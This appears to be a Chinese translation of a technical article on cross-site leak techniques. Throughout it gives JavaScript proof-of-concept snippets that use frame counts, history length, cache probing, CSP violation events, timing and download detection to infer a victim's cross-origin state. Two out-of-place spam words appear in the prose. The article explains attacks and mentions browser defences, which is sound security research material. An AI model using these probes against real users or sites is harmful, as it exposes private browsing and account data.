对帧的数量的正确统计 (Frame Count)
Window DOM API 记录了如何在其他浏览环境中遍历跨域窗口的方法,方法之一就是利用文档(window.length)中的帧的数量。
let win /*Any Window reference, either iframes, opener, or open()*/; win.frames.length;
在某些情况下,不同的状态具有相同数量的帧,这妨碍了我们对它们进行正确的分类。
在这些情况下,你可以尝试连续记录帧的数量,因为帧的数量可以直接影响你可以使用的浏览模式,或者对某些关键点的计时,或者在应用程序加载期间检测到的数量异常的帧。
const tab = window.opener; // Any Window reference const pattern = []; tab.location = 'https://target'; const recorder = setInterval(() => pattern.push(tab.frames.length), 0); setTimeout(() => { clearInterval(recorder); console.log(pattern); }, 6 * 1000);
History Length
使用history.length判断是否有上一页面,如果没有就返回到指定页面,一般是返回到首页,length属性声明了浏览器历史列表中的元素数量。
History DOM API记录历史对象可以知道用户历史记录中有多少条目。例如,通过history.pushState或正常导航,就可以获取这些信息,获取这些信息后,攻击者可用于检测跨域页面何时具有哪些类型的导航。history.pushState()主要是在不刷新浏览器的情况下,创建新的浏览记录并插入浏览记录队列中。
请注意,为了检测含有iframe标签的页面上的导航,可以只计算onload事件被触发的次数(请参阅Frame timing),在页面不能位于帧内的情况下,这种机制可能很有用。天空彩
history.length; // leaks if there was a javascript/meta-refresh redirect
错误事件
对于大多数加载子资源的HTML元素,都有在响应错误(例如错误500、404等)和解析错误的情况下触发的错误事件。
人们可以通过两种方式滥用这一点:
1. 通过检查用户是否有权访问特定的资源(参考具体示例);
2. 通过检查用户是否在过去加载了特定的资源(除非资源被缓存,否则强制执行HTTP错误);
缓存和错误事件
在获取子资源(除非缓存)时“强制”出错的一种方法是:根据不属于缓存键的数据强制服务器拒绝请求。有2种方法可以做到这一点,例如:
1.如果服务器具有Web应用程序防火墙,则可以触发误报。例如,可以尝试通过在短时间内执行许多网络请求来强制服务器触发DoS保护。
2.如果服务器对HTTP请求的大小有限制,则可以设置一个非常长的HTTP Referrer,以便在请求URL时,服务器拒绝它。
由于浏览器只会在缓存中没有内容时发出HTTP请求,因此可以注意到:
1.如果image / script / css加载没有错误,那么这必然意味着它来自缓存;
2.否则,它来自来自网络(注意,也可以使用计时方式来计算出来);
由于缓存探测攻击一直是一种被广泛应用的攻击方式,所以一些浏览器一直在考虑为每个源提供单独的缓存存储,除此之外,还没有其他更好的解决方案可用。
为了本文演示,我会在以下列一些使用超长HTTP referrer的示例代码。中国菜刀
<iframe id=f></iframe> <script> (async ()=>{ let url = 'https://otherwebsite.com/logo.jpg'; // Evict this from the cache (force an error). history.replaceState(1,1,Array(16e3)); await fetch(url, {cache: 'reload', mode: 'no-cors'}); // Load the other page (you can also use <link rel=prerender>) // Note that index.html must have <img src=logo.jpg> history.replaceState(1,1,'/'); f.src = 'http://otherwebsite.com/index.html'; await new Promise(r=>{f.οnlοad=r;}); // Check if the image was loaded. // For better accuracy, use a service worker with {cache: 'force-cache'} history.replaceState(1,1,Array(16e3)); let img = new Image(); img.src = url; try { await new Promise((r, e)=>{img.οnerrοr=e;img.οnlοad=r;}); alert('Resource was cached'); // Otherwise it would have errored out } catch(e) { alert('Resource was not cached'); // Otherwise it would have loaded } })(); </script>
CSP违规事件
发生CSP违规时创建的CSP的违反DOM事件的对象包括被阻塞的主机信息,如果此信息泄露,则攻击者可使用这些信息了解跨域页面重定向到哪个域。
<meta http-equiv="Content-Security-Policy" content="default-src 'unsafe-inline' example.com"> <script> document.addEventListener('securitypolicyviolation', e => { // goes through here if a 3xx redirect to another domain happened console.log(e.blockedURI); }); fetch('https://example.com/redirect', {mode: 'no-cors',credentials: 'include'}); </script>
媒体大小
图像、视频、音频和一些其他资源允许测量它们的持续时间(对于视频和音频)和大小(对于图像)。
计时
对于计时问题,我们必须考虑两个因素:
1.在另一个窗口/域(例如,网络,javascript等)中观察的结果;
2.衡量计时的机制;
为了抵御这些攻击,浏览器试图限制在窗口/域之间泄漏的信息量,并且在某些情况下,还试图限制用于测量时间的不同机制的准确性。
测量时间
测量时间最常用的方法是:
1.performance.now():performance.now()是相对于页面加载和数量级更精确。用例包括基准测试和其他需要高分辨率时间的情况,例如媒体(游戏,音频,视频等)应该指出的是performance.now(),它只适用于较新的浏览器(包括IE10 +)。
请求时间
在严格模式下(对于GET请求)或松散模式下(对于POST请求),可以使用相同站点的cookie缓解这种计时方式代理的信息泄露。在松散模式(lax mode )下使用同站点cookie并不安全,因为它可以通过计时导航请求绕过。
let before = performance.now() await fetch("//mail.com/search?q=foo") let request_time = performance.now() - before
跨文档请求时间
在chrome 中,其他窗口/文档发出的HTTP请求数量可以使用网络池(network pool)计算。为此,攻击者需要两个窗口/文档。
· 窗口A:
等待点击,打开窗口B。
· 窗口B:
1.通过对不同的域执行255次提取操作,来用完除了一个端口号(socket)之外的所有端口号,在响应请求之前,web服务器将休眠30秒。建立网络通信连接至少要一对端口号(socket)。socket本质是编程接口(API),对TCP/IP的封装,TCP/IP也要提供可供程序员做网络开发所用的接口,这就是Socket编程接口;HTTP是轿车,提供了封装或者显示数据的具体形式;Socket是发动机,提供了网络通信的能力。
2.将window.opener重定向到我们想要计时的目标网址;
3.在循环中获取('// attacker.com'),并计算请求所花费的时间
导航请求
这些技术用于测量加载导航请求所需的时间,如果在松散模式下受到相同站点cookie的保护,这对于测量GET请求加载所需的时间非常有用。在严格模式下,使用相同站点的cookie可以缓解这种情况。
Frame timing
此机制将等待所有子资源加载完成,注意,在设置X-Frame-Options标头的页面中,因为不会测量子资域,此机制只能用于测量网络请求。请注意,onerror和onload之间的差异通常也很重要,而且每个事件被触发的次数也很重要,因为这可以显示iframe中发生了多少导航。
<iframe name=f id=g></iframe> <script> h = performance.now(); f.location = '//mail.com/search?q=foo'; g.onerror = g.onload = ()=>{ console.log('time was', performance.now()-h) }; </script>
跨窗计时(Cross-window timing)
这种机制只在页面使用X-Frame-Options,并且用户对加载的子资源感兴趣,或者对执行其他攻击(例如为跨文档请求计时或多线程javascript确定启动时间)的javascript代码感兴趣时才有用。
为了防止这种类型的攻击,未来可能会使用Cross-Origin-Opener-PolicyCross-Origin-Opener-Policy。
let w=0, z=0, v=performance.now(); onmessage=()=>{ try{ if(w && w.document.cookie){ // still same origin } postMessage('','*'); }catch(e){ z=performance.now(); console.log('time to load was', v-z); } }; postMessage('','*'); w=open('//www.google.com/robots.txt');
JavaScript执行
测量JavaScript执行情况,对于了解何时触发哪些事件以及某些操作需要多长时间非常有用。
代表的攻击事件有:
1.Web应用程序计时攻击;
单线程JavaScript
在除Chrome之外的浏览器中,所有JavaScript代码(甚至是跨域代码)都运行在同一个线程中,这意味着可以通过测量代码在事件池(event pool)中运行所需的时间来测量代码在另一个域中运行的时间。
多线程JavaScript
在Chrome中,每个站点运行在不同的进程中,每个进程都有自己的线程,这意味着为了测量JavaScript在另一个线程中的执行时间,我们必须用不同的方法来测量它。总共有以下5种方法:
1.在攻击者的域上注册服务工作者;
2.打开目标窗口,并检测文档何时加载(使用跨窗口计时);
3.在一段时间内,尝试在事件循环中将窗口导航到将被服务工作人员捕获的页面;
4.当收到请求后,记住当前时间,并返回204响应;
5.测量请求导航所需的时间,以及服务工作者到达的请求;
跨站点请求大小
有些时候浏览器认为这是一个漏洞,有时则会根据时间进行测量。无论如何,通过使用CORB和CORP,也可以防御这种类型的攻击,因为它们的实现也攻击了一些API。
Cross-Origin Read Blocking (CORB) 就是浏览器在加载可以跨域资源时,在资源载入页面之前,对其进行识别和拦截的算法。
Flash
当前用于了解跨站点请求大小的公共机制是使用Flashhttp://api.ma.la/redirect_or_not/。
缓存配额API(Cache Quota API)
通过滥用Cache API和单个域接收的配额,可以测量单个响应的大小。为了防止这种攻击,浏览器会在定额中添加随机噪音。
1.Firefox添加了一个高达100K的随机数,并将精度降低到20K(代码);
2.Chrome添加了一个高达14431K(代码)的随机数;
尽管它需要更多的请求,但仍然可以在添加噪音的情况下执行攻击。
缓存计时(Cache Timing)
通过滥用Cache API和浏览器的缓存,可以测量从不同级别的缓存加载一个简单请求所需的时间。假设响应时间越长,加载时间越长。通过滥用技术(例如“膨胀”响应大小),可以通过更加可测量的时间来改变差异。
caches.open("cache").then((cache) => { fetch("https://example.org", { mode: "no-cors", credentials: "include" }).then((response) => { var start = performance.now(); cache.put(new Request("leak"), response.clone()).then(() => { var end = performance.now(); console.log(end - start); }); }); });
XSS过滤器
如果可以触发并检测XSS滤波器误报,那么就可以找出特定元素的存在。这意味着,如果能够检测是否触发了过滤器,那么我们可以检测两个页面中由XSS过滤器阻塞的元素的任何差异。当XSS过滤器在阻塞模式下启用时,更容易检测到它,因为这会阻塞页面及其所有子资源的加载,使所有浏览器端通道更加明显。
位置哈希导航(Location hash navigation)
检测已触发的XSS过滤器(在阻塞模式下)的一种方法是,计算更改location.hash时导航发生的次数。
1.Frame timing:如果一个网站可以放在iframe中(也就是说,它没有X-Frame-Options),那么就可以计算在导航到具有不同location.hash的相同URL之后,加载事件发生了多少次。如果触发了XSS过滤器,则数字将为2,否则为1。
2.跨窗口计时(Cross-window timing ):如果网站不能放在iframe中,那么你可以通过计时导航需要多长时间来进行同样的攻击。由于location.hash更改不会触发网络请求,因此通过将页面导航到具有不同location.hash的URL,然后将其导航到about:blank,如果触发网络请求,则最后触发history.back()。
3.History Length :与之前相同,但这可以使用history.length。通过快速更改另一个窗口的位置,在浏览器有机会进行导航之前,但是有足够的时间来更改location.hash,可以计算history.length中存在多少个条目(过滤器没有触发时为3,触发时为2)。
History Length攻击的示例代码。
let url = '//victim/?falsepositive=<script>xxxxx=1;'; let win = open(url); // Wait for the window to be cross-origin await new Promise(r=>setInterval(()=>{try{win.origin.slice()}catch(e){r(e)}},1)); // Change the location win.location = url + '#'; // Skip one microtask await Promise.resolve(1); // Change the location to same-origin win.location = 'about:blank'; // Wait for the window to be same-origin await new Promise(r=>setInterval(()=>r(win.document.defaultView),1)); // See how many entries exist in the history if (win.history.length == 3) { // XSS auditor did not trigger } else if (win.history.length == 2) { // XSS auditor triggered }
下载
某些端点响应内容处置标头设置为“附件”,强制浏览器将响应下载为文件。在某些情况下,检测文件是否在某个端点上下载的能力,可能会泄漏有关当前用户的信息。
下载栏
当基于Chromium的浏览器下载文件时,浏览器窗口中将集成一个底部栏。通过监控窗口高度,我们可以检测“下载栏”是否打开。
// Any Window reference (can also be done using an iframe in some cases) const tab = window.opener; // The current window height const screenHeight = window.innerHeight; // The size of the chrome download bar on mac os x const downloadsBarSize = 49; tab.location = 'https://target'; setTimeout(() => { let margin = screenHeight - window.innerHeight; if (margin === downloadsBarSize) { return console.log('downloads bar detected'); } }, 5 * 1000);
下载不会重定向
Content-disposition 是 MIME 协议的扩展,MIME 协议指示 MIME 用户代理如何显示附加的文件。Content-disposition其实可以控制用户请求所得的内容存为一个文件的时候提供一个默认的文件名,文件直接在浏览器上显示或者在访问时弹出文件下载对话框。
测试content-disposition的另一种方法是:用附件标头检查导航是否重定向了页面。至少在Chrome中,如果页面加载触发下载,则不会触发导航。
泄漏的工作原理大致如下:
1.打开一个新窗口并加载evil.com;
2.将窗口导航到//vimctim/maybe_download;
3.超时后,检查窗口是否仍然是同域的;
在不使用任何超时的情况下检测下载尝试
还有另一种方法可以在不使用任何超时的情况下检测下载尝试是否发生,这有助于同时执行数百个请求而无需担心不准确的计时。观察结果是,即使下载尝试没有触发onload事件,窗口仍然“等待”下载资域。因此,可以在iframe中包含iframe以检测window.onload,然后由于下载没有触发导航,iframe将指向about:blank,这样就可以区分不同的域。
onmessage = e => console.log(e.data); var ifr = document.createElement('iframe'); var url = 'http://bug.bounty/Examples/file.php'; ifr.src = `data:text/html,\ <iframe id='i' src="${url}" ></iframe> <script>οnlοad=()=>{ try{ i.contentWindow.location.href; top.postMessage('download attempt','*'); }catch(e){ top.postMessage('no download','*'); } }%3c/script>`; ifr.onload = ()=>{ifr.remove();} document.body.appendChild(ifr);